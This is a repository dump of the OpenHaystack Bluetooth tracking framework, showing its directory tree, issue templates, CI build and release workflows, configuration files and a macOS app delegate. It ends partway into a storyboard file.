Showing preview only (2,223K chars total). Download the full file or copy to clipboard to get everything.
Repository: seemoo-lab/openhaystack
Branch: main
Commit: 8d214aa5eb68
Files: 311
Total size: 2.1 MB
Directory structure:
gitextract_r_s2v_gj/
├── .github/
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.md
│ │ ├── feature_request.md
│ │ └── general-question.md
│ ├── actions/
│ │ └── build-esp-idf/
│ │ └── action.yaml
│ └── workflows/
│ ├── build-app.yml
│ ├── build-cve-2020-9986.yaml
│ ├── build-firmware-esp32.yaml
│ ├── build-firmware.yaml
│ └── release.yml
├── .gitignore
├── .gitmodules
├── .pre-commit
├── CITATION.cff
├── CVE-2020-9986/
│ └── OFReadKeys/
│ ├── .swiftlint.yml
│ ├── OFFetchReports/
│ │ ├── AppDelegate.swift
│ │ ├── Assets.xcassets/
│ │ │ ├── AccentColor.colorset/
│ │ │ │ └── Contents.json
│ │ │ ├── AppIcon.appiconset/
│ │ │ │ └── Contents.json
│ │ │ └── Contents.json
│ │ ├── Base.lproj/
│ │ │ └── Main.storyboard
│ │ ├── BoringSSL/
│ │ │ ├── BoringSSL.h
│ │ │ ├── BoringSSL.m
│ │ │ └── Bridging-Header.h
│ │ ├── ContentView.swift
│ │ ├── FindMy/
│ │ │ ├── DecryptReports.swift
│ │ │ ├── FindMyController.swift
│ │ │ ├── FindMyKeyDecoder.swift
│ │ │ └── Models.swift
│ │ ├── Info.plist
│ │ ├── MapView.swift
│ │ ├── MapViewController.swift
│ │ ├── MapViewController.xib
│ │ ├── OFFetchReports.entitlements
│ │ ├── OFFetchReportsMainView.swift
│ │ ├── Preview Content/
│ │ │ └── Preview Assets.xcassets/
│ │ │ └── Contents.json
│ │ ├── ReportsFetcher/
│ │ │ ├── ReportsFetcher.h
│ │ │ └── ReportsFetcher.m
│ │ └── SavePanel.swift
│ ├── OFReadKeys/
│ │ ├── AppDelegate.swift
│ │ ├── Assets.xcassets/
│ │ │ ├── AppIcon.appiconset/
│ │ │ │ └── Contents.json
│ │ │ └── Contents.json
│ │ ├── Base.lproj/
│ │ │ └── Main.storyboard
│ │ ├── ContentView.swift
│ │ ├── FindMyKeyExtractor.swift
│ │ ├── FindMyModels.swift
│ │ ├── Info.plist
│ │ ├── OFReadKeys.entitlements
│ │ ├── Preview Content/
│ │ │ └── Preview Assets.xcassets/
│ │ │ └── Contents.json
│ │ └── SavePanel.swift
│ └── OFReadKeys.xcodeproj/
│ ├── project.pbxproj
│ ├── project.xcworkspace/
│ │ ├── contents.xcworkspacedata
│ │ └── xcshareddata/
│ │ ├── IDEWorkspaceChecks.plist
│ │ └── swiftpm/
│ │ └── Package.resolved
│ └── xcshareddata/
│ └── xcschemes/
│ ├── OFFetchReports.xcscheme
│ ├── OFReadKeys.xcscheme
│ └── Run OFFetchReports.xcscheme
├── Firmware/
│ ├── ESP32/
│ │ ├── .gitignore
│ │ ├── .vscode/
│ │ │ └── settings.json
│ │ ├── CMakeLists.txt
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── flash_esp32.sh
│ │ ├── main/
│ │ │ ├── CMakeLists.txt
│ │ │ ├── Kconfig.projbuild
│ │ │ ├── component.mk
│ │ │ └── openhaystack_main.c
│ │ ├── partitions.csv
│ │ └── sdkconfig
│ ├── Linux_HCI/
│ │ ├── HCI.py
│ │ └── README.md
│ └── Microbit_v1/
│ ├── .gitignore
│ ├── LICENSE
│ ├── Makefile
│ ├── README.md
│ └── offline-finding/
│ ├── Makefile
│ └── main.c
├── LICENSE
├── Makefile
├── OpenHaystack/
│ ├── .clang-format
│ ├── .swift-format
│ ├── OpenHaystack/
│ │ ├── .ldid.OfflineFinder.entitlements
│ │ ├── AnisetteDataManager.swift
│ │ ├── Assets.xcassets/
│ │ │ ├── AppIcon.appiconset/
│ │ │ │ └── Contents.json
│ │ │ ├── Colors/
│ │ │ │ ├── Button.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ ├── ButtonPressed.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ ├── Contents.json
│ │ │ │ ├── ListRow1.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ ├── ListRow2.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ ├── PinColor.colorset/
│ │ │ │ │ └── Contents.json
│ │ │ │ └── PinImageColor.colorset/
│ │ │ │ └── Contents.json
│ │ │ └── Contents.json
│ │ ├── Base.lproj/
│ │ │ └── Main.storyboard
│ │ ├── BoringSSL/
│ │ │ ├── BoringSSL.h
│ │ │ └── BoringSSL.m
│ │ ├── FindMy/
│ │ │ ├── DecryptReports.swift
│ │ │ ├── FindMyController.swift
│ │ │ ├── FindMyKeyDecoder.swift
│ │ │ └── Models.swift
│ │ ├── HaystackApp/
│ │ │ ├── AccessoryController.swift
│ │ │ ├── AccessoryNearbyMonitor.swift
│ │ │ ├── Bluetooth/
│ │ │ │ ├── Advertisement.swift
│ │ │ │ └── BluetoothAccessoryScanner.swift
│ │ │ ├── DataToHexExtension.swift
│ │ │ ├── ESP32Controller.swift
│ │ │ ├── FileManager.swift
│ │ │ ├── Firmwares/
│ │ │ │ ├── ESP32/
│ │ │ │ │ └── .gitkeep
│ │ │ │ └── NRF/
│ │ │ │ ├── NRF52_NRF52832_openHayStack.hex
│ │ │ │ ├── NRF52_NRF52840_openHayStack.hex
│ │ │ │ ├── flash_nrf.py
│ │ │ │ └── flash_nrf.sh
│ │ │ ├── KeychainController.swift
│ │ │ ├── Mail Plugin/
│ │ │ │ ├── HaystackMail.mailbundle/
│ │ │ │ │ ├── Contents/
│ │ │ │ │ │ ├── Info.plist
│ │ │ │ │ │ └── MacOS/
│ │ │ │ │ │ └── HaystackMail
│ │ │ │ │ └── _CodeSignature/
│ │ │ │ │ └── CodeResources
│ │ │ │ └── MailPluginManager.swift
│ │ │ ├── MicrobitController.swift
│ │ │ ├── Model/
│ │ │ │ ├── Accessory.swift
│ │ │ │ └── PreviewData.swift
│ │ │ ├── NRFController.swift
│ │ │ ├── UpdateCheckController.swift
│ │ │ └── Views/
│ │ │ ├── AccessoryListEntry.swift
│ │ │ ├── AccessoryMapAnnotation.swift
│ │ │ ├── AccessoryMapView.swift
│ │ │ ├── ActivityIndicator.swift
│ │ │ ├── ESP32InstallSheet.swift
│ │ │ ├── IconSelectionView.swift
│ │ │ ├── ManageAccessoriesView.swift
│ │ │ ├── NRFInstallSheet.swift
│ │ │ ├── OpenHaystackMainView.swift
│ │ │ ├── OpenHaystackSettingsView.swift
│ │ │ ├── PopUpAlertView.swift
│ │ │ ├── Slider+LogScale.swift
│ │ │ └── Styles/
│ │ │ └── LargeButtonStyle.swift
│ │ ├── Info.plist
│ │ ├── MapViewController.swift
│ │ ├── MapViewController.xib
│ │ ├── OpenHaystackApp.swift
│ │ ├── Preview Content/
│ │ │ └── Preview Assets.xcassets/
│ │ │ └── Contents.json
│ │ ├── ReportsFetcher/
│ │ │ ├── ReportsFetcher.h
│ │ │ └── ReportsFetcher.m
│ │ └── SavePanel.swift
│ ├── OpenHaystack-Bridging-Header.h
│ ├── OpenHaystack.xcodeproj/
│ │ ├── project.pbxproj
│ │ ├── project.xcworkspace/
│ │ │ ├── contents.xcworkspacedata
│ │ │ └── xcshareddata/
│ │ │ ├── IDETemplateMacros.plist
│ │ │ ├── IDEWorkspaceChecks.plist
│ │ │ └── swiftpm/
│ │ │ └── Package.resolved
│ │ └── xcshareddata/
│ │ └── xcschemes/
│ │ ├── OpenHaystack (Preview).xcscheme
│ │ ├── OpenHaystack.xcscheme
│ │ ├── OpenHaystackMail.xcscheme
│ │ └── OpenHaystackTests.xcscheme
│ ├── OpenHaystackMail/
│ │ ├── ALTAnisetteData.h
│ │ ├── ALTAnisetteData.m
│ │ ├── AppleAccountData.h
│ │ ├── AppleAccountData.m
│ │ ├── Info.plist
│ │ ├── OpenHaystackPluginService.h
│ │ └── OpenHaystackPluginService.m
│ ├── OpenHaystackTests/
│ │ ├── BluetoothTests.swift
│ │ ├── Info.plist
│ │ ├── MicrocontrollerTests.swift
│ │ ├── OpenHaystackTests.swift
│ │ ├── UpdateCheckTests.swift
│ │ └── sampleKeys.plist
│ └── Resources/
│ └── codesign_offline_finder.sh
├── README.Reproducibility.md
├── README.md
├── Resources/
│ └── Icon/
│ ├── OpenHaystackIcon.graffle
│ └── create_appicon.py
└── openhaystack-mobile/
├── .gitignore
├── .metadata
├── README.md
├── analysis_options.yaml
├── android/
│ ├── .gitignore
│ ├── app/
│ │ ├── build.gradle
│ │ └── src/
│ │ ├── debug/
│ │ │ └── AndroidManifest.xml
│ │ ├── main/
│ │ │ ├── AndroidManifest.xml
│ │ │ ├── kotlin/
│ │ │ │ └── com/
│ │ │ │ └── example/
│ │ │ │ └── seemoo_lab_21_22/
│ │ │ │ └── MainActivity.kt
│ │ │ └── res/
│ │ │ ├── drawable/
│ │ │ │ └── launch_background.xml
│ │ │ ├── drawable-v21/
│ │ │ │ └── launch_background.xml
│ │ │ ├── values/
│ │ │ │ └── styles.xml
│ │ │ └── values-night/
│ │ │ └── styles.xml
│ │ └── profile/
│ │ └── AndroidManifest.xml
│ ├── build.gradle
│ ├── gradle/
│ │ └── wrapper/
│ │ └── gradle-wrapper.properties
│ ├── gradle.properties
│ └── settings.gradle
├── ios/
│ ├── .gitignore
│ ├── Flutter/
│ │ ├── AppFrameworkInfo.plist
│ │ ├── Debug.xcconfig
│ │ └── Release.xcconfig
│ ├── Podfile
│ ├── Runner/
│ │ ├── AppDelegate.swift
│ │ ├── Assets.xcassets/
│ │ │ ├── AppIcon.appiconset/
│ │ │ │ └── Contents.json
│ │ │ └── LaunchImage.imageset/
│ │ │ ├── Contents.json
│ │ │ └── README.md
│ │ ├── Base.lproj/
│ │ │ ├── LaunchScreen.storyboard
│ │ │ └── Main.storyboard
│ │ ├── Info.plist
│ │ ├── Runner-Bridging-Header.h
│ │ └── Runner.entitlements
│ ├── Runner.xcodeproj/
│ │ ├── project.pbxproj
│ │ ├── project.xcworkspace/
│ │ │ ├── contents.xcworkspacedata
│ │ │ └── xcshareddata/
│ │ │ └── IDEWorkspaceChecks.plist
│ │ └── xcshareddata/
│ │ └── xcschemes/
│ │ └── Runner.xcscheme
│ ├── Runner.xcworkspace/
│ │ ├── contents.xcworkspacedata
│ │ └── xcshareddata/
│ │ └── IDEWorkspaceChecks.plist
│ └── ShareExtension/
│ ├── Base.lproj/
│ │ └── MainInterface.storyboard
│ ├── Info.plist
│ ├── ShareExtension.entitlements
│ └── ShareViewController.swift
├── lib/
│ ├── accessory/
│ │ ├── accessory_color_selector.dart
│ │ ├── accessory_detail.dart
│ │ ├── accessory_dto.dart
│ │ ├── accessory_icon.dart
│ │ ├── accessory_icon_model.dart
│ │ ├── accessory_icon_selector.dart
│ │ ├── accessory_list.dart
│ │ ├── accessory_list_item.dart
│ │ ├── accessory_list_item_placeholder.dart
│ │ ├── accessory_model.dart
│ │ ├── accessory_registry.dart
│ │ └── no_accessories.dart
│ ├── dashboard/
│ │ ├── accessory_map_list_vert.dart
│ │ ├── dashboard_desktop.dart
│ │ └── dashboard_mobile.dart
│ ├── deployment/
│ │ ├── code_block.dart
│ │ ├── deployment_details.dart
│ │ ├── deployment_email.dart
│ │ ├── deployment_esp32.dart
│ │ ├── deployment_instructions.dart
│ │ ├── deployment_linux_hci.dart
│ │ ├── deployment_nrf51.dart
│ │ └── hyperlink.dart
│ ├── findMy/
│ │ ├── decrypt_reports.dart
│ │ ├── find_my_controller.dart
│ │ ├── models.dart
│ │ └── reports_fetcher.dart
│ ├── history/
│ │ ├── accessory_history.dart
│ │ ├── days_selection_slider.dart
│ │ └── location_popup.dart
│ ├── item_management/
│ │ ├── accessory_color_input.dart
│ │ ├── accessory_icon_input.dart
│ │ ├── accessory_id_input.dart
│ │ ├── accessory_name_input.dart
│ │ ├── accessory_pk_input.dart
│ │ ├── item_creation.dart
│ │ ├── item_export.dart
│ │ ├── item_file_import.dart
│ │ ├── item_import.dart
│ │ ├── item_management.dart
│ │ ├── loading_spinner.dart
│ │ └── new_item_action.dart
│ ├── location/
│ │ └── location_model.dart
│ ├── main.dart
│ ├── map/
│ │ └── map.dart
│ ├── placeholder/
│ │ ├── avatar_placeholder.dart
│ │ └── text_placeholder.dart
│ ├── preferences/
│ │ ├── preferences_page.dart
│ │ └── user_preferences_model.dart
│ └── splashscreen.dart
├── linux/
│ ├── .gitignore
│ ├── CMakeLists.txt
│ ├── flutter/
│ │ ├── CMakeLists.txt
│ │ ├── generated_plugin_registrant.cc
│ │ ├── generated_plugin_registrant.h
│ │ └── generated_plugins.cmake
│ ├── main.cc
│ ├── my_application.cc
│ └── my_application.h
├── macos/
│ ├── .gitignore
│ ├── Flutter/
│ │ ├── Flutter-Debug.xcconfig
│ │ ├── Flutter-Release.xcconfig
│ │ └── GeneratedPluginRegistrant.swift
│ ├── Podfile
│ ├── Runner/
│ │ ├── AppDelegate.swift
│ │ ├── Assets.xcassets/
│ │ │ └── AppIcon.appiconset/
│ │ │ └── Contents.json
│ │ ├── Base.lproj/
│ │ │ └── MainMenu.xib
│ │ ├── Configs/
│ │ │ ├── AppInfo.xcconfig
│ │ │ ├── Debug.xcconfig
│ │ │ ├── Release.xcconfig
│ │ │ └── Warnings.xcconfig
│ │ ├── DebugProfile.entitlements
│ │ ├── Info.plist
│ │ ├── MainFlutterWindow.swift
│ │ └── Release.entitlements
│ ├── Runner.xcodeproj/
│ │ ├── project.pbxproj
│ │ ├── project.xcworkspace/
│ │ │ └── xcshareddata/
│ │ │ └── IDEWorkspaceChecks.plist
│ │ └── xcshareddata/
│ │ └── xcschemes/
│ │ └── Runner.xcscheme
│ └── Runner.xcworkspace/
│ ├── contents.xcworkspacedata
│ └── xcshareddata/
│ └── IDEWorkspaceChecks.plist
├── pubspec.yaml
├── test/
│ └── widget_test.dart
├── web/
│ ├── index.html
│ └── manifest.json
└── windows/
├── .gitignore
├── CMakeLists.txt
├── flutter/
│ ├── CMakeLists.txt
│ ├── generated_plugin_registrant.cc
│ ├── generated_plugin_registrant.h
│ └── generated_plugins.cmake
└── runner/
├── CMakeLists.txt
├── Runner.rc
├── flutter_window.cpp
├── flutter_window.h
├── main.cpp
├── resource.h
├── runner.exe.manifest
├── utils.cpp
├── utils.h
├── win32_window.cpp
└── win32_window.h
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.md
================================================
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**OpenHaystack version:**
[e.g. 0.3.4] (copy from _OpenHaystack → About OpenHaystack_)
**macOS version:**
[e.g. 11.3]
**Additional context**
Add any other context about the problem here.
================================================
FILE: .github/ISSUE_TEMPLATE/feature_request.md
================================================
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: enhancement
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
================================================
FILE: .github/ISSUE_TEMPLATE/general-question.md
================================================
---
name: General question
about: Ask a question
title: ''
labels: question
assignees: ''
---
================================================
FILE: .github/actions/build-esp-idf/action.yaml
================================================
name: 'Build Firmware with ESP-IDF'
description: 'Builds a firmware for the ESP32 using the ESP-IDF'
inputs:
src-dir:
description: 'Source directory for the ESP-IDF project'
required: true
out-dir:
description: 'Directory to which bin files will be written'
required: true
app-name:
description: 'Name of the IDF application/main binary'
required: true
runs:
using: "composite"
steps:
- name: Prepare ESP-IDF
shell: bash
run: |
sudo apt update
sudo apt install git wget flex bison gperf python3 python3-pip python3-setuptools cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0
mkdir -p /opt/esp
cd /opt/esp
git clone --recursive --depth 1 --branch release/v4.3 https://github.com/espressif/esp-idf.git
cd /opt/esp/esp-idf
./install.sh
- name: Build firmware
shell: bash
run: |
source /opt/esp/esp-idf/export.sh
cd ${{ inputs.src-dir }}
idf.py build
- name: Bundle output files
shell: bash
run: |
mkdir -p "${{ inputs.out-dir }}/bootloader" "${{ inputs.out-dir }}/partition_table"
cp "${{ inputs.src-dir }}/build/bootloader/bootloader.bin" "${{ inputs.out-dir }}/bootloader/bootloader.bin"
cp "${{ inputs.src-dir }}/build/partition_table/partition-table.bin" "${{ inputs.out-dir }}/partition_table/partition-table.bin"
cp "${{ inputs.src-dir }}/build/${{ inputs.app-name }}.bin" "${{ inputs.out-dir }}/${{ inputs.app-name }}.bin"
================================================
FILE: .github/workflows/build-app.yml
================================================
name: "Build application"
on:
push:
branches: [ main ]
paths:
- OpenHaystack/**
pull_request:
branches: [ main ]
paths:
- OpenHaystack/**
workflow_dispatch:
env:
APP: OpenHaystack
defaults:
run:
working-directory: OpenHaystack
jobs:
format-swift:
runs-on: macos-14
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Install swift-format"
run: brew install swift-format
- name: "Run swift-format"
run: swift-format lint --recursive .
format-objc:
runs-on: macos-14
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Install clang-format"
run: brew install clang-format
- name: "Run clang-format"
run: clang-format -n **/*.{h,m}
build-app:
runs-on: macos-14
needs:
- format-swift
- format-objc
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 15.3"
uses: keehun/xcode-select@v1
with:
version: "15.3"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
================================================
FILE: .github/workflows/build-cve-2020-9986.yaml
================================================
name: "Build CVE-2020-9986"
on:
push:
branches: [ main ]
paths:
- CVE-2020-9986/**
pull_request:
branches: [ main ]
paths:
- CVE-2020-9986/**
defaults:
run:
working-directory: CVE-2020-9986/OFReadKeys
jobs:
lint-swiftlint:
runs-on: macos-11
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Run SwiftLint"
run: swiftlint --reporter github-actions-logging
build-ofreadkeys:
runs-on: macos-latest
needs: lint-swiftlint
env:
APP: OFReadKeys
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: keehun/xcode-select@v1
with:
version: "12"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
build-offetchreports:
runs-on: macos-latest
needs: lint-swiftlint
env:
APP: OFFetchReports
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: keehun/xcode-select@v1
with:
version: "12"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
================================================
FILE: .github/workflows/build-firmware-esp32.yaml
================================================
name: "Build firmware (ESP32)"
on:
push:
branches: [ main ]
paths:
- Firmware/ESP32/**
pull_request:
branches: [ main ]
paths:
- Firmware/ESP32/**
workflow_dispatch:
jobs:
build-firmware-esp32:
runs-on: ubuntu-latest
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Copy static files"
run: |
mkdir -p archive/build
cp Firmware/ESP32/flash_esp32.sh archive/
- name: "Build ESP32 firmware"
uses: ./.github/actions/build-esp-idf
with:
src-dir: Firmware/ESP32
out-dir: archive/build
app-name: openhaystack
================================================
FILE: .github/workflows/build-firmware.yaml
================================================
name: "Build firmware"
on:
push:
branches: [ main ]
paths:
- Firmware/Microbit_v1/**
pull_request:
branches: [ main ]
paths:
- Firmware/Microbit_v1/**
workflow_dispatch:
defaults:
run:
working-directory: Firmware/Microbit_v1
jobs:
build-firmware:
runs-on: macos-14
steps:
- uses: actions/checkout@v2
# Build firmware image
- name: "Install build dependencies"
run: brew install --cask gcc-arm-embedded
- name: "Build firmware image"
run: make
================================================
FILE: .github/workflows/release.yml
================================================
name: "Create release"
on:
push:
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
workflow_dispatch:
jobs:
build-firmware-esp32:
runs-on: ubuntu-latest
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Copy static files"
run: |
mkdir -p archive/build
cp Firmware/ESP32/flash_esp32.sh archive/
- name: "Build ESP32 firmware"
uses: ./.github/actions/build-esp-idf
with:
src-dir: Firmware/ESP32
out-dir: archive/build
app-name: openhaystack
- name: "Create archive"
uses: actions/upload-artifact@v2
with:
name: firmware-esp32
path: archive/*
retention-days: 1
build-and-release:
name: "Create release on GitHub"
runs-on: macos-14
env:
APP: OpenHaystack
PROJECT_DIR: OpenHaystack
defaults:
run:
working-directory: ${{ env.PROJECT_DIR }}
needs:
- build-firmware-esp32
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: "Select Xcode 15.3"
uses: keehun/xcode-select@v1
with:
version: "15.3"
- name: "Add ESP32 firmware"
uses: actions/download-artifact@v2
with:
name: firmware-esp32
path: "${{ env.PROJECT_DIR }}/OpenHaystack/HaystackApp/Firmwares/ESP32"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
- name: "Create ZIP"
run: |
pushd ${APP}.xcarchive/Products/Applications
zip -r ../../../${APP}.zip ${APP}.app
popd
- name: "Create release"
id: create_release
uses: actions/create-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
tag_name: ${{ github.ref }}
release_name: Release ${{ github.ref }}
draft: false
prerelease: false
- name: "Upload release asset"
id: upload-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ${{ env.PROJECT_DIR }}/${{ env.APP }}.zip
asset_name: ${{ env.APP }}.zip
asset_content_type: application/zip
================================================
FILE: .gitignore
================================================
# Created by https://www.toptal.com/developers/gitignore/api/xcode,swift
# Edit at https://www.toptal.com/developers/gitignore?templates=xcode,swift
## macOS ##
.DS_Store
### Swift ###
# Xcode
#
# gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore
## User settings
xcuserdata/
## compatibility with Xcode 8 and earlier (ignoring not required starting Xcode 9)
*.xcscmblueprint
*.xccheckout
## compatibility with Xcode 3 and earlier (ignoring not required starting Xcode 4)
build/
DerivedData/
*.moved-aside
*.pbxuser
!default.pbxuser
*.mode1v3
!default.mode1v3
*.mode2v3
!default.mode2v3
*.perspectivev3
!default.perspectivev3
## Obj-C/Swift specific
*.hmap
## App packaging
*.ipa
*.dSYM.zip
*.dSYM
## Playgrounds
timeline.xctimeline
playground.xcworkspace
# Swift Package Manager
# Add this line if you want to avoid checking in source code from Swift Package Manager dependencies.
# Packages/
# Package.pins
# Package.resolved
# *.xcodeproj
# Xcode automatically generates this directory with a .xcworkspacedata file and xcuserdata
# hence it is not needed unless you have added a package configuration file to your project
# .swiftpm
.build/
# CocoaPods
# We recommend against adding the Pods directory to your .gitignore. However
# you should judge for yourself, the pros and cons are mentioned at:
# https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control
# Pods/
# Add this line if you want to avoid checking in source code from the Xcode workspace
# *.xcworkspace
# Carthage
# Add this line if you want to avoid checking in source code from Carthage dependencies.
# Carthage/Checkouts
Carthage/Build/
# Accio dependency management
Dependencies/
.accio/
# fastlane
# It is recommended to not store the screenshots in the git repo.
# Instead, use fastlane to re-generate the screenshots whenever they are needed.
# For more information about the recommended setup visit:
# https://docs.fastlane.tools/best-practices/source-control/#source-control
fastlane/report.xml
fastlane/Preview.html
fastlane/screenshots/**/*.png
fastlane/test_output
# Code Injection
# After new code Injection tools there's a generated folder /iOSInjectionProject
# https://github.com/johnno1962/injectionforxcode
iOSInjectionProject/
### Xcode ###
# Xcode
# gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore
## Gcc Patch
/*.gcno
### Xcode Patch ###
*.xcodeproj/*
!*.xcodeproj/project.pbxproj
!*.xcodeproj/xcshareddata/
!*.xcworkspace/contents.xcworkspacedata
**/xcshareddata/WorkspaceSettings.xcsettings
# End of https://www.toptal.com/developers/gitignore/api/xcode,swift
# Exports folder
Exports/
================================================
FILE: .gitmodules
================================================
[submodule "Firmware/Microbit_v1/blessed"]
path = Firmware/Microbit_v1/blessed
url = https://github.com/pauloborges/blessed.git
================================================
FILE: .pre-commit
================================================
make app-autoformat
================================================
FILE: CITATION.cff
================================================
# This CITATION.cff file was generated with cffinit.
# Visit https://bit.ly/cffinit to generate yours today!
cff-version: 1.2.0
title: OpenHaystack
message: 'If you use this software, please cite it as below.'
type: software
authors:
- given-names: Alexander
family-names: Heinrich
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0002-1150-1922'
- given-names: Milan
family-names: Stute
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0003-4921-8476'
- given-names: Matthias
family-names: Hollick
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0002-9163-5989'
repository-code: 'https://github.com/seemoo-lab/openhaystack'
abstract: >-
OpenHaystack is a framework for tracking personal
Bluetooth devices via Apple's massive Find My network. Use
it to create your own tracking tags that you can append to
physical objects (keyrings, backpacks, ...) or integrate
it into other Bluetooth-capable devices such as notebooks.
license: AGPL-3.0
commit: 7d72fa1ac19d2a9f6dec43011be07df8976a8b02
version: 0.5.3
date-released: '2023-10-09'
================================================
FILE: CVE-2020-9986/OFReadKeys/.swiftlint.yml
================================================
# By default, SwiftLint uses a set of sensible default rules you can adjust:
disabled_rules: # rule identifiers turned on by default to exclude from running
- colon
- control_statement
- identifier_name
- force_try
opt_in_rules: # some rules are turned off by default, so you need to opt-in
- empty_count # Find all the available rules by running: `swiftlint rules`
# Alternatively, specify all rules explicitly by uncommenting this option:
# only_rules: # delete `disabled_rules` & `opt_in_rules` if using this
# - empty_parameters
# - vertical_whitespace
analyzer_rules: # Rules run by `swiftlint analyze` (experimental)
- explicit_self
# configurable rules can be customized from this configuration file
# binary rules can set their severity level
force_cast: warning # implicitly
# rules that have both warning and error levels, can set just the warning level
# implicitly
line_length: 180
# they can set both implicitly with an array
type_body_length:
- 400 # warning
- 500 # error
# or they can set both explicitly
file_length:
warning: 600
error: 1200
# naming rules can set warnings/errors for min_length and max_length
# additionally they can set excluded names
type_name:
min_length: 1 # only warning
max_length: # warning and error
warning: 40
error: 50
excluded:
- iPhone
- BN
- ECC
- PSI
- Log
allowed_symbols: ["_"] # these are allowed in type names
identifier_name:
min_length: 1 # only min_length
excluded: # excluded via string array
- id
- URL
- GlobalAPIKey
- SHA256_SIZE
- SHA384_SIZE
- TWO
- EULER_THEOREM
- Log
reporter: "xcode" # reporter type (xcode, json, csv, checkstyle, codeclimate, junit, html, emoji, sonarqube, markdown, github-actions-logging)
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/AppDelegate.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Cocoa
import SwiftUI
@main
class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow!
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents.
let contentView = OFFetchReportsMainView()
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.isReleasedWhenClosed = false
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil)
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/Assets.xcassets/AccentColor.colorset/Contents.json
================================================
{
"colors" : [
{
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/Assets.xcassets/AppIcon.appiconset/Contents.json
================================================
{
"images" : [
{
"idiom" : "mac",
"scale" : "1x",
"size" : "16x16"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "16x16"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "32x32"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "32x32"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "128x128"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "128x128"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "256x256"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "256x256"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "512x512"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "512x512"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/Assets.xcassets/Contents.json
================================================
{
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/Base.lproj/Main.storyboard
================================================
<?xml version="1.0" encoding="UTF-8"?>
